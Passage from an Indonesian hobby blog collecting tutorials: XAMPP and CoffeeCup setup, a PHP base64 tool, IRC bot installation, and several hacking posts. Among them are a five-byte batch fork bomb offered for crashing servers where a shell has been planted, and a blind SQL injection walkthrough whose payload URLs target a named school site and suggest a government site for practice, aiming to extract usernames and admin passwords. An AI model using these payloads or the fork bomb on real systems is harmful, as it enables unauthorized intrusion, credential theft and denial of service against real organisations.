Recent Comments

FBS FOREX

Forex Broker Untuk Pemula

This is default featured slide 2 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 3 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 4 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 5 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

Space For Ads

Space For Ads
Tampilkan postingan dengan label scripting. Tampilkan semua postingan
Tampilkan postingan dengan label scripting. Tampilkan semua postingan

Minggu, 25 Januari 2015

Cara meningkatkan kuota import dan eksport di xampp


Haloo.. selamat pagi menjelang subuh kawan2 :D.. hyuhh.. hari ini saya akan share pengalaman saya dalam mencari-cari cara import atau ekspor database.. eh btw udah bisa instal xampp ny belum? kl belum bisa di baca panduan ny di sini , lanjuutt.. kan kadang kita tidak bisa import atau ekspor database dalam jumlah besar.. karena xampp melakukan pembatasan maksimal yaitu 2mb.. kecil y.. setelah baca panduan sana ini akhirnya bisa juga digedein kapasitas nya.. yuk langsung aja.. enggak susah kok..


Pertama.. jika xampp kawan-kawan masih dalam kondisi on.. matiin duluu.. di "stop" ya.. jangan di "close" agar memastikan konfigurasi ny berjalan lancar..





nah.. masuk ke window explorer.. cara ny? (tombol wins+e) atau klik kanan di start menu kemudian pilih open windows explorer.. nah kl udah cari di drive c ,masuk ke C:\xampp\php lalu cari file php.ini dobel klik aja..




okeeee.. nah setelah di dobel klik file php.ini akan muncul notepad seperti gambar di samping, oke.. cari tulisan "upload".. wakwkakwka.. pusing kan scroll naek turun.. xD.. gampang tekan (alt+f) terus ketik upload di kolom search.. terus enter..enter..jangan entar.. kapan ketemu ny.. wakwkawk..







nah okee.. kl ud ketemu cari tulisan "upload_max_filesize=2M" seperti gambar di samping.. terus ganti angka 2 ny jadi terserah.. 10 misalnya.. kl saat bikin tutorial ini aku bikin jadi 10.. kl kebanyakan takut meledak.. wkawkakw.. eh g tau juga ding kl kegedean apa efek ny.. nah kl udah save.. (ctrl+S)







kl uda di save.. on kan xampp ny.. terus masuk browser ketik.. localhost/phpmyadmin terus enter..bukan entar..wakwka.. nah masuk di tab import.. taraaa.. kapasitas ny bertambah.. ahhahaha.. udah.. gitu aja tutorial ny.. gampang kan..




nah.. selesei..selamat menikmati.. kl ad pertanyaan silahkan y.. kita sharing2 .. bye..bye.. *cling*

Minggu, 23 Maret 2014

Cara Menginstal Coffee Cup

Oke Hari ini kita akan belajar untuk menginstal Coffee Cup Software HTML Editor, untuk yg belum punya bisa download dulu disini.. , saya sih pake software ini buat membuat web atau sekedar utak atik kode untuk membuat sebuah web, ad banyak software sejenis kok..tergantung temen² aja suka pake apa..hahaha
oke.. kita mulai menginstal Coffee Cup




Nah, setelah download, ekstrak dulu file. rar nya dulu, menggunakan WinRar... jika belum punya winrar silahkan download aja di sini , setel;ah di esktrak..temen² ak menemukan 3 file di dalamnya nah pilih file bertipe application sama seperti gambar di samping, yg di kotak biru (di double klik aja)..





okee.. tekan Next aja..spt pada gambar..








 lanjut dengan menekan yes.. tp kl mau baca dulu ya monggo wkwk..








lanjut dengan menekan tombol next, pada tamplan di samping kita mengarahkan direktori yg di tuju untuk menginstall
Coffee Cup , lebih kita default saja yaitu di c:\\Program Files






Pada tahapan proses instalasi selanjutnya kita kan di minta untuk menentukan destinasi dari file backup kita, pastikan kita memilih "yes" sama seperti gambar di samping (lingkaran), jika ingin mengubah lokasi direktori penyimpanan file back-up kita bisa menekan "browse", jika tidak langsung tekan next saja sama seperti pada gambar (kotak)




oke.. pada proses selanjutnya kita akan menentukan di folder mana file2 coffee cup nanti nya akan disimpan, pastikan terletak di "coffee cup software" smaa seperti yg tampak pada gambar (lingkaran) , jika sudah sama temen² tekan tombol "Next" saja..





pada tahap ini kita bisa menentukan seperti apa tampilan Coffee Cup kita setelah terinstal , kl saya pribadi memilih mencentang pada pilihan "Graphics File" sama seperti pada gambar (Lingkaran) karena nanti ny akan memudah kan kita untuk mendesain atau melakukan penulisan code untuk web kita , jika sudah langsung tekan Next saja...




Yukk langsung cuzz aja dengan menekan "Next" :D








Dan Proses Instalasi pun berjalan.. ^o^








Yupp..dan proses instalasi Coffee Cup pun selesai..








Oke temen² sekian tutorial Cara Menginstal Coffee Cup dari saya..semoga engga bingung.. kl bingung bisa lgs tanya ke saya.. oke.. selamat siang.. have a nice day :*









Jumat, 22 November 2013

Base 64 Encoder/Decoder Script

 
 hari Ini saya mau share cara bikin enkripsi sendiri.. monggo di simak..
yg males scripting lgs donlot di sini aja broo









<?php //*********************************************************************************************
//TITLE : Base64 Encoder / Decoder
//*********************************************************************************************
 
echo"<title>Base 64 Encode / Decode</title>";
echo
"<div align=center>Base 64 Encode / Decode";
    
$Crut= stripslashes($_POST['c0de']);
        if (
$Crut == "")
        {
       
$Crut = $_GET['c0de'];
        }
 
    
$action = $_POST['action'];
    if (
$action == "")
     {
    
$action = $_GET['action'];
    if (
$action == "encode"){
              
$action = "enc0de";
              }
              elseif (
$action == "decode")
              {
              
$action = "dec0de";
              }
        }
     
    switch(
$action){
    case 
"enc0de":
           
$output = base64_encode($Crut);
               if(!
$output){
               echo 
'Ada yang salah Crut!!!';
               }
     
    echo
"<center><table width='380'><td>";
    echo 
"<p> Input: " . $Crut . "</p>";
    echo 
"<p> Output (Base64): " . $output ."</p>";
    echo 
"<p><a href='javascript:history.back(0);'> << Back </a></p>";
    break;
     
    case 
"dec0de":
    
$output = base64_decode($Crut);
    if(!
$output){
    echo 
'Ada yang salah Crut!!!';
    exit;
    }
     
    echo
"<center><table width='380'><td>";
    echo 
"<p> Input (Base64) : " . $Crut . "</p>";
    echo 
"<p> Output : " . $output ."</p>";
    echo 
"<p><a href='javascript:history.back(0);'> << Back </a></p>";
    break;
     
    default: echo 
'<form id="form1" name="form1" method="post" action="?encode/decode">
                <p>
                   <textarea name="c0de" id="c0de" rows=8 cols=40 ></textarea>
                </p>
              
              <p>Pilih yang mau di cari</p>
              
              <p><input type=radio name="action" id="action" value="enc0de">Encode</p>
              <p><input type=radio name="action" id="action" value="dec0de">Decode</p>
     
            <input type="submit" class = "button" name="submit" id="submit" onClick="
            if(c0de.value==\'\'){alert(\'mana teksnya crut???\'); return false;}" value="Submit" />
            <input type="reset" name="reset" class="button" value="Reset"/>
     
        </p>
      </form>'
;
      
    break;
    }
    
?>

Rabu, 20 November 2013

Bikin hang windows hanya dengan 5 karakter (just 5 bytes of file)


Maaf kalo ini repost saya pun juga lupa kalo saya pernah baca ini dimana intinya LUPA..
Setahu saya ini merupakan  virus yang sedikit simple tapi cukup mematikan,.. :D

okee, langsung sajaaa..
Code:
%0|%0

ketik code tersebut di notepad dengan nama terserah anda.bat (harus menggunakan ekstensi .bat) terus kalo yang berani silahkan di coba.. Saya sendiri sih pernah coba dan komputer/laptop anda akan bawel dengan muncul nya memory peringatan 0x? yang error setiap saat, akibat selanjut nya saya sendiri juga kurang tahuu,.. :))


untuk pengembangannya silahkan digabung sama coding VB, C, Java, Perl, PHP, dan lain2 .. tentunya .BAT juga ..
buat yang hobi ngancurin server orang .. kalo nemu server IIS/windows yang udah ditanemin shell coba aja pake ini .. mungkin si server lgsng !CRASH! hehehehe





Code: 
import java.io.*;
public class ffaaddiill {
   static String m = "cmd /C msg * shinobi_master_was_here";
   public static void main(String []args)throws IOException {
      ffaaddiill zombie = new ffaaddiill();
      Runtime.getRuntime().exec(zombie.m);
   }
}


buat yg males nulis program nya.. monggo lgs sedot aja.. 

Jumat, 01 November 2013

Belajar Menjadi Programmer

Tidak ada kata yang tidak mungkin. Ada beberapa kunci agar kita sukses menjadi programmer online, tanpa kuliah:


1.1. Kuasai bahasa Inggris, paling tidak bisa membaca dokumen, kalau masih belum bisa belajar secara bertahap, gunakan kamus online, gunakan translate online seperti google translate, semua gratis dan dengan mudah anda dapatkan di internet.

1.2. Segera beli Komputer atau notebook, sebagai alat wajib yang harus dimiliki, kalau tidak ada duit jadi operator warnet yang pemiliknya baik hati.

1.3. Sambung dengan koneksi internet, baik lewat HP, atau ke Warnet, kabar bagus kalau anda punya notebook WIFI, anda bisa dapat akses gratis pake fasilitas HOTSPOT. yang tersebar di seluruh penjuru.

2. Pelajari Materi Pokok, atau mata kuliah pokok yaitu Belajar coding, mulai dari logika sederhana yaitu menampilkan kata “Hello Word”, baik untuk program dekstop mauapun untuk web programming.

3. Mulai praktek, jangan banyak terori, nanti gak kelar-kelar.

4. Saat ini ada 2 kelompok programming dari segi tampilan atau output yaitu Web Programming, seperti PHP, Java, JSP dan ASP. Dan desktop programming seperti C, Visual Basic, Delphi, Java desktop.

4.2. Pelajari sesuai target Kalau ingin buat website terprogram kuasai saja PHP. di internet materi ini tersedia melimpah ruah. Buat program sederhana dulu, dan semua ada contoh, ikuti dan coba praktekkan.

4.3. Untuk desktop gunakan Visual C, Visual Basic, Delphi, atau Java, saya anjurkan Visual basic atau delphi, tapi jika ingin jago kuasai C++.

5. Pelajari dan kuasai Database SQL, contoh Mysql, Oracle, Interbase, Microsoft SQL, Postgre SQL dan pulihan SQL lainnya. Yang populer Mysql dan Postgree terutama aplikasi web base.

6. Pelajari dan Kuasai jaringan Komputer dan Internet

7. Pelajari dan Kuasai Desain seperti photoshop, meskipun anda tidak suka.

8. Untuk mengusai minimal satu bidang dibutuhkan minimal 1 tahun, dan master 4 tahun, dan jika kita serius maka semakin lama semakin mantap, dan semakin banyak orang yang menawari anda.

9. Agar lebih PD kontrak atau kos di deket anak kuliah Jurusan IT

10. Kalau Ingin jadi Programer handal jangan lupa nanti pelajari: UML, ER, CRUD, DFD, Flowchart and Mind Map.

a.Ayo Raih Prestasi, meskipun anda tidak kuliah

b.Bagun komunitas online yang banyak tersedia di internet. c.Fokus pada satu tujuan, yakin bahwa kita bisa, tanpa harus kuliah. d. Praktek, praktek dan praktek, Coba, coba dan coba. Masihkan menyalahkan Pemerintah, Orang tua, keadaan, nasip, saya rasa saatnya menyalahkan diri sendiri, dimana peluang begitu banyak,kesempatan begitu terbuka tapi kita tidak melakukan apa apa. Ayo……semangat, kerja keras, kerja cerdas, kerja untuk masa depan yang gemilang, tanpa menjadi beban orang orang lain dan beban bagi diri sendiri...


sumber belajar JAVA  
sumber belajar WEB  

Variasi Tehnik Hacking Web

Terdapat beberapa cara untuk criminal dapat mengancam jaringan web. Berikut list beberapa aksi teknik hacking :

Reconnaissance
Dalam teknik ini, criminal dapat memperoleh informasi mengenai target system, termasuk username, password, parameter input, program atau bahasa script, tipe server, dan system operasi.

Probe
Dalam fase ini criminal mendeteksi kelemahan system SQL injection termasuk dalam teknik ini dan banyak digunakan untuk menemukan hal tersembunyi dan lubang keamanan yang ada.

Toehold
Criminal akan memproses fase ini ketika penyusup masuk ke dalam system, membangun koneksi, biasanya menyerang session, mencari informasi system dan mulai mengeksploitasi kelemahan keamanan.

Advancement
Fase ini criminal akan mencari konfigurasi error dan mengubah ke account user yang masih unprivileged menjadi priilege, atau bergerak dari normal user dengan sedikit izin akses menjadi administrator, dimana setelah itu criminal akan mendapatkan full akses untuk membuat, menghapus, memodifikasi, menerima atau memindahkan file dan informasi.

Stealth
Langkah stealth ini berupa penyamaran keberadaan penyusup yang sudah masuk ke system. Langkah tersebut dilakukan dengan mengakses dan memodifikasi log file untuk menghilangkan bukti yang dapat memberitahukan user mengenai serangan tersebut.

Listening Port
Dalam listening port tersebut, penyusup akan mengeset backdoor, yakni program jahat yang akan memastikan aktivitas selanjutnya tidak bisa dilakukan. Program itu dinamakan stealth, atau tool backdoor, atau sniffer. Selain itu, penyusup juga dapat memberikan informasi yang salah ketika user mengakses file dan memproses jaringan system, dengan tujuan untuk menyamarkan keberadaan user.

Takeover
Digunakan untuk memperluas control dari satu system ke system lain di jaringan yang sama. Penyusup dapat menggunakan sniffer untuk mendeteksi informasi di host lain, seperti username dan password. Step ini dapat digunakan untuk menemukan host computer yang belum terkena hack sehingga penyusup dapat mengakses host lain. Step ini umumnya dilakukan dengan bahasa pemrograman yang simpe dan dikontrol oleh programmer.

Smogar Bermanfaat..
Monggo yang lain di gogel aja karena saya jg nda mau hanya nulis di tangkep polisi nanti.. :D

Blind SQL

BLIND SQL INJECTION
 buat temen2 yg belum tau apa itu SQL-Injection bisa di baca2 dulu di sini.. monggoo


kembali lagi akh.. wkwkwkwk..

mari kita membahas tentang Blind SQL Injection..

Apa sich Blind SQL Injection tu?

Blind SQL Injection adalah salah satu tehnik exploitasi database yang berbeda dengan sql injection biasa dimana pada sql injection biasa akan mengeluarkan sebuah value akan tetapi pada tehnik blind sql injection tidak akan mengeluarkan value apapun akan tetapi kita akan mengetahui value tersebut dengan trial and error akan value tersebut / menguji true atau falsenya value tersebut...

disini GT memakai command :

mid()= hampir sama fungsinya dengan substring()
char()= adalah peubah dari karakter

lanjut..

ingat..sebelum mencoba,kita cek version sql nya..cara cek ada d tutorial sql inject yg satu lg..
kalau version 4..kita memakai blind,karena v4 tidak support query information_schema

kalau version 5,boleh pake ini,boleh pake sql inject yg biasa..wkwkwkw

lanjut...

Target: www.smanti.com (thx to bejamz udah ngasih target :)

1.PENGETESAN BUG

Seperti biasa..ikuti langkah sebelumnya,seperti di tutorial SQL Inject biasa..cari halaman yng dinamis,sisipkan and 1=0 dan and 1=1


www.smanti.com/berita.php?id=5 and 1=0 <<<false

www.smanti.com/berita.php?id=5 and 1=1 <<<true

eh ternyata ada bug nya...

lanjut....

2.BLIND INJECT

Query yg dipakai: and mid(user(),1,1)=CHAR(65)

saya jelaskan sedikit deh..

mid(user()1,1) = dalam kasus ini kita tidak tahu value dari user itu apa maka dalam "()" kita kosongkan dan angka 1,1 dibelakang () adalah urutan dari value tersebut

sedangkan CHAR adalah peubah dalam decimal dan (65) adalah value decimal tersebut.
kenapa kita mulai dengan 65 ?
karena "65" adalah "A" dalam ascii...

lanjut..

mari kita masukkan

www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(65)

ternyata hasilnya masih false (beritanya hilang)

berarti value yg kita masukkan salah..

tinggal tambah value na..jadi..

www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(66) <<masih false

www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(67) <<masih false

www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(68) <<masih false

www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(69) <<masih false juga..

dst sampe kita menemukan keadaan true(beritanya muncul kembali)

kebetulan ada di char(83)

www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(83)  <<akhirnya true..

cape?masih kuat?hahaha..trial n error...

lanjut..

kita tambain value na..

www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,65)

adakah perbedaan nya?

yap,angka pada user kita naikkan menjadi 2 dan kita menambahkan value char kembali,dari 65..

gini nih..

1,1 = value pertama user
1,2 = value kedua user
1,3 = value ketiga user
dst
dan 83 adalah nilai true,lalu kita tambahkan..

www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,65)

www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,66)

www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,67)

dst.. sampe dpet yg true..

ternyata yg true ngumpet di value 77

www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,77)


lanjutin trus langkah2na..

cari value k 3 user..

www.smanti.com/berita.php?id=5 and mid(user(),1,3)=CHAR(83,77,65)

eh langsung ktemu..hehehe..

lanjut value k 4..

www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,65)


www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,66)


www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,67)

ternyata ktemu di value 78..

www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,78)

lanjut trus aja...

cape gw..


pokoknya..setelah dapet smua..kita convert char yang tadi di ke ascii table

www.piclist.com/techref/ascii.htm

stelah d convert,ternyata 83 77 65 78 tuh d ascii adalah SMAN

nah udah hampir ktebak user name nya..kerjain ndiri y..okey

nah..gmana kalo mw dapet password na?

kita rubah value
user() menjadi database() dan ulangi tahap2 diatas hingga mendapat semua value yang true..

jadi


www.smanti.com/berita.php?id=5 and mid(database(),1,1)=CHAR(65)

cari lagi..sama kayak cari user tadi..harus sabar..

ulangi sampai dapat true ..

tambain value na..wkwkwkw..

dan rubah value database() untuk mencari value lainnya..

hingga mendapat admin password dan db password
.
metode blind sql injection seperti ini membutuhkan kesabaran dan ketelitian attacker untuk mendapatkan value yg tepat..(true)

akan tetapi metode ini hingga sekarang cukup efektif untuk web yang telah menfilter celah sql injection...hehehe...

okey sampe sini aja ah..cape ngetik..wkwkwkw

slamat mencoba..


buat latihan>> www.dkp.go.id/content.php?c=5161 (ingat woi, web negara inii wkwkwk)

Smoga Bermanfaat..

Rabu, 30 Oktober 2013

Tutorial Shell,Eggdrop,PsyBNC for IRC

Nah, Sekarang kita mau ngomongin seluk beluk shell nih, khususnya shell yang dipergunakan untuk kepentingan IRC. Sebelumnya tau ga Shell itu apa?
Shell adalah program khusus yang digunakan sebagai interface antara user dengan kernel.
Lalu apa itu kernel??
Kernel merupakan inti suatu operating system. Secara sederhananya, kernel berfungsi sebagai penghubung antara hardware dengan software yang berjalan pada suatu operating sistem. Kernel di load ke memory saat booting dan berfungsi me-manage system sampai system di shutdown.
Kembali ke masalah shell. Shell merupakan utilitas program yang berjalan saat user log on ke komputer. Shell mengijinkan user untuk berinteraksi dengan kernel dengan cara menginterpretasikan perintah yang diketikkan pada shell.
Ketika command diketikkan, shell bertanggung jawab untuk memparsing command line, meridirect,dan mengeksekusi command tersebut. Command-command yang diketikan bisa ditulis dalam suatu file (Script file) dengan memanfaatkan shell programing. (sbr:Aceh Forum)
Selebihnya cari aja di google yha…
Sekarang mungkin dah ga asing lagi dengan nama Shell, apalagi bagi mereka yang hobby dengan chatting melalui IRC/mIRC. Nah bagaimana cara mendapatkan shell itu? bagi sebagian orang yang berkecukupan mungkin dapat membelinya secara online, tp bagi yang masih belajar ataupun coba-coba bahkan bagi mereka yang malas mengeluarkan uangnya untuk membeli hal seperti ini (seperti penulis :p) anda dapat mendapatkannya secara gratis, dan tentu saja untuk GRATISAN masih ada kekurangannya atau dibatasi pemakaiannya, ataupun dengan syarat yang cukup sulit bagi mereka yang tidak mempunyai koneksi unlimited.
Jujur saja, saya sebenarnya masih sangat awam tentang ini, dan saya baru mendapatkan access shell baru kemarin semenjak tulisan ini diterbitkan, saya menggunakan shell gratisan dari —-not for publish—- (terima kasih bang Awie a.k.a Angin on irc.relaychat.net #id untuk infonya), prosesnya sangat simple, ±10 menit setelah signup akan ada konfirmasi username/pass untuk login ke shell dengan cara download putty / cygwin nah simple kan?!!
Berhubung shell disini berorientasi untuk IRC, selanjutnya untuk pemakaian shell sebagai Bot IRC, kita harus menginstall EggDrop atau PsyBNC ke dalam shell itu(cari artinya masing² ya di Google), ok tanpa perlu panjang lebar saya coba paparkan sedikit masing-masing cara menginstallnya :
Installasi EggDrop
1. Download file eggdropnya di sini dibagian eggdrop file
systrojan@inferno:~$ wget ftp://ftp.eggheads.org/pub/eggdrop/source/1.6/ eggdrop 1.6.18.tar.gz--06:16:05--  ftp://ftp.eggheads.org/pub/eggdrop/source/1.6 /eggdrop1.6.10.tar.gz=> `eggdrop1.6.10.tar.gz'Resolving ftp.eggheads.org... done.

Connecting to ftp.eggheads.org[207.195.39.240]:21... connected.

Logging in as anonymous ... Logged in!

==> SYST ... done.    ==> PWD ... done.

==> TYPE I ... done.  ==> CWD /pub/eggdrop/source/1.6 ... done.

==> PORT ... done.    ==> RETR eggdrop1.6.10.tar.gz ... done.

Length: 893,527 (unauthoritative)100%[===================================== ================>]

893,527      470.65K/s    ETA 00:00

06:16:07 (470.65 KB/s) - `eggdrop1.6.10.tar.gz' saved [893527]

systrojan@inferno:~$
2. Setelah itu di ekstrak filenya dengan menggunakan perintah tar
systrojan@inferno:~$ tar -zxvf eggdrop1.6.10.tar.gz....

eggdrop1.6.18/src/mod/woobie.mod/woobie.c

eggdrop1.6.18/text/

eggdrop1.6.18/text/CONTENTS

eggdrop1.6.18/text/banner

eggdrop1.6.18/text/motd

eggdrop1.6.18/configure

eggdrop1.6.18/configure.in

systrojan@inferno:~$
3. Masuk ke folder hasil extractnya
systrojan@inferno:~$ cd eggdrop1.6.18systrojan@inferno:~$ [~/eggdrop1.6.18]#
4. Lalu configure sesuai sistemnya
systrojan@inferno [~/eggdrop1.6.18]# ./configureThis is Eggdrop's GNU configure  script.It's going to run a bunch of strange tests to hopefully

make your compile work without much twiddling.

checking for gcc... gcc

checking for C compiler default output... a.out

checking whether the C compiler works... yes

...

...

onfig.status: creating src/mod/Makefile

config.status: creating config.h

creating lush.h

Configure is done.

Type 'make config' to configure the modules, or type 'make iconfig'

to interactively choose which modules to compile.

After that, type 'make' to create the bot.

systrojan@inferno [~/eggdrop1.6.18]#
5.Lalu buat confignya dengan make config
systrojan@inferno [~/eggdrop1.6.18]# make configdetecting modules.................... done.

calculating dependencies................... done.

building ./src/mod/Makefile... done.

make[1]: Entering directory `/home/eggdrop/eggdrop1.6.18/src/mod'Configuring  module compress ...

running in eggdrop mode.

creating cache ../../../config.cache

....

....

creating ./config.status

creating Makefile

make[1]: Leaving directory `/home/eggdrop/eggdrop1.6.18/src/mod'

building ./src/mod/Makefile... done.

You can now compile the bot, using "make".

systrojan@inferno [~/eggdrop1.6.18]#
6. Lalu di make supaya menghasil file binary
systrojan@inferno [~/eggdrop1.6.18]# makemake[1]: Entering directory  `/home/eggdrop/eggdrop1.6.18/src'

(This may take a while.  Go get some runts.)

gcc -pipe -g -O2 -Wall -I.. -I.. -DHAVE_CONFIG_H   -c bg.c

gcc -pipe -g -O2 -Wall -I.. -I.. -DHAVE_CONFIG_H   -c botcmd.c

...

...

make[1]: Leaving directory `/home/eggdrop/eggdrop1.6.18/src/mod'modules made:

-rwxr-xr-x    1 eggdrop  eggdrop      8112 Apr 17 06:23 assoc.so

-rwxr-xr-x    1 eggdrop  eggdrop     13852 Apr 17 06:23 blowfish.so

-rwxr-xr-x    1 eggdrop  eggdrop     97756 Apr 17 06:23 channels.so

-rwxr-xr-x    1 eggdrop  eggdrop      9808 Apr 17 06:23 compress.so

-rwxr-xr-x    1 eggdrop  eggdrop      8704 Apr 17 06:23 console.so

-rwxr-xr-x    1 eggdrop  eggdrop      7612 Apr 17 06:23 ctcp.so

-rwxr-xr-x    1 eggdrop  eggdrop     13724 Apr 17 06:23 dns.so

-rwxr-xr-x    1 eggdrop  eggdrop     93092 Apr 17 06:23 filesys.so

-rwxr-xr-x    1 eggdrop  eggdrop    118620 Apr 17 06:23 irc.so

-rwxr-xr-x    1 eggdrop  eggdrop     25212 Apr 17 06:23 notes.so

-rwxr-xr-x    1 eggdrop  eggdrop     12188 Apr 17 06:23 seen.so

-rwxr-xr-x    1 eggdrop  eggdrop     57052 Apr 17 06:24 server.so

-rwxr-xr-x    1 eggdrop  eggdrop     42972 Apr 17 06:24 share.so

-rwxr-xr-x    1 eggdrop  eggdrop     32980 Apr 17 06:24 transfer.so

-rwxr-xr-x    1 eggdrop  eggdrop      6748 Apr 17 06:24 uptime.so

-rwxr-xr-x    1 eggdrop  eggdrop     12312 Apr 17 06:24 wire.so

Now run "make install" to install your bot.

systrojan@inferno [~/eggdrop1.6.18]#
7.Sekarang tinggal kita make install untuk membuat file eggdrop binarynya
ada dua cara yaitu make install atau make install DEST=/path/tempat/install
kalau make install maka langsung ditaruh di /home/usernamenya/eggdrop
systrojan@inferno [~/eggdrop1.6.18]# make installEggdrop v1.6.18 (C) 1997 Robey  Pointer (C) 2006 EggheadsInstalling in directory: '/home/eggdrop/eggdrop'.

Creating directory: /home/eggdrop/eggdrop.

mkdir /home/eggdrop/eggdrop

...

...

...

make[1]: Leaving directory `/home/eggdrop/eggdrop1.6.18/scripts'

Installation completed.

You MUST ensure that you edit/verify your configuration file.

Use one of the three configuration files (eggdrop.simple.conf,

eggdrop.advanced.conf and eggdrop.complete.conf) distributed

with your bot.

Remember to change directory to /home/systrojan/eggdrop before you proceed.

systrojan@inferno [~/eggdrop1.6.18]#
Selesai sudah install eggdropnya
Sekarang tinggal configurasi botnya, untuk mengedit eggdrop.conf kita
memerlukan pico editor(semacam notepad pada windows) dengan cara :
systrojan@inferno:~/eggdrop$ pico eggdrop.conf
Nah setelah kebuka
GNU nano 2.0.2 File: eggdrop.conf
disini kita harus membaca terlebih dahulu apa saja isinya, termasuk langkah untuk mengeditnya, dapat kita lihat disana, ada beberapa yang kita harus hilangkan tanda “#” untuk mengaktifkan command pada access bot tersebut sesuai kebutuhan, dan perlu diingat “kita harus cukup teliti mengedit file.conf ini agar pada saat compilingnya tidak ada bentuk error”. Dan yg terpenting, di bagian awal pico editor kita hapus :
#! /path/to/executable/eggdrop
..
..
..
# More detailed descriptions of all these settings can be found in
# doc/settings/.
Hasilnya pada bagian awal .conf tersebut kita lihat :
##### BASIC SETTINGS #####
# This setting defines the username the bot uses on IRC. This setting has
# no effect if an ident daemon is running on your bot’s machine.
set username “lamest”
Dan juga kita hapus yang ada tulisan :
die “Please make sure you edit your config file completely.”
Nah sisanya anda tinggal ubah sesuai data yang diinginkan, namun ada satu yang saya masih contek, yaitu pada Channels Module, disana tertera commentar yg cukup banyak, dan tugas anda hapus comment tersebut dan ganti dengan contoh seperti ini :
}
channel add #main {
chanmode “+nt-likm”
idle-kick 0
stopnethack-mode 0
flood-chan 10:60
flood-deop 3:10
flood-kick 3:10
flood-join 5:60
flood-ctcp 3:60
flood-nick 5:60
}
channel set #main +enforcebans +dynamicbans +userbans
channel set #main +dynamicexempts +userexempts +dynamicinvites +userinvites
channel set #main -autoop -bitch +protectops +protectfriends +dontkickops
channel set #main +greet +statuslog
channel set #main +revenge +autovoice
channel set #main -secret -shared -cycle
channel set #main -inactive +seen +nodesynch
#### SERVER MODULE ####
So tau kan batasan mana yang kita harus hapus dan diganti !!!
Setelah selesai editingnya, kluar dari pico editor dengan ketik : [ctrl+x] -> (y)yes -> enter(tdk usah menggati nama eggdrop.conf.
Untuk compilingnya, kita gunakan perintah : ./eggdrop -m eggdrop.conf
Apabila masih ada error anda dapat kembali ke pico editor dan memperbaikinya, apabila ada masalah dalam memperbaikinya, anda dapat share langsung disini atau sebelumnya anda dapat melihat bentuk default eggdrop.conf disini
Nah kurang lebih seperti itu yang bisa saya share pengetahuannya, sisanya anda dapat berlatih sendiri dengan batuan Master Google.
Instalasi PsyBNC
Apasih PsyBNC itu? Bagi yang dah lama malang melintang di dunia irc pasti tau tuh apa PsyBNC , PsyBNC adalah salah satu Irc Bouncer yang sangat mudah digunakan , dan mendukung multi user.
  1. Silahkan login ke shell account kamu.
  2. Download psybnc nya dari sini nih ambil yang versi terbaru yah )
    $ wget http://psybnc.net/psyBNC-2.3.2-7.tar.gz
  1. Extrax file psybnc yang sudah di download tadi.
    $ tar -zxvf psyBNC-2.3.2-7.tar.gz
  1. masuk ke folder psybnc
    $ cd psybnc
  1. Make
    $ make
  1. Edit file psybcn.conf pakai editor kesukaan kamu, vi, nano, pico terserah deh mana yang di sukai , saya sendiri lebih suka menggunakan pico, tapi sayang server saya belum sempat di install pico, jadi pakai vi aja
    $ vi psybnc.conf
    maka muncul seperti ini, tekan i untuk edit setelah edit selesai tekan tombol “esc” yang di pojok kiri atas tuh , untuk menyimpan tekan :wq
    PSYBNC.SYSTEM.PORT1=31337 #<— ganti dengan port yang kamu inginkan misalnya 17485
    PSYBNC.SYSTEM.HOST1=*
    PSYBNC.HOSTALLOWS.ENTRY0=*;*
  1. Psybnc sudah siap di jalankan.
    $ ./psybnc
    .-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-.
    ,—-.,—-.,-. ,-.,—.,–. ,-.,—-.
    | O || ,-’ \ \/ / | o || \| || ,–’
    | _/ _\ \ \ / | o< | |\ || |__
    |_| |____/ |__| |___||_| \_| \___|
    Version 2.3.2-7 (c) 1999-2003
    the most psychoid
    and the cool lam3rz Group IRCnet
    `-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=tCl=-’
    Configuration File: psybnc.conf
    Language File: psyBNC Language File – English
    No logfile specified, logging to log/psybnc.log
    Listening on: 0.0.0.0 port 17485
    psyBNC2.3.2-7-cBtITLdDMSNp started (PID 22774)
  1. Okeh psybnc sudah berjalan di server kita silakan buka mirc kamu dan konek ke psybnc kamu sesuai dengan port nya tadi. untuk pertama kali memakai anda perlu setting identd di mirc kamu, terus di inget soalnya identd itu yang dipakai selama konek ke psybnc, klo anda nanti mau konek lagi dengan identd yang berbeda tidak akan bisa
  2. Setelah berhasil konek silahkan baca help nya disini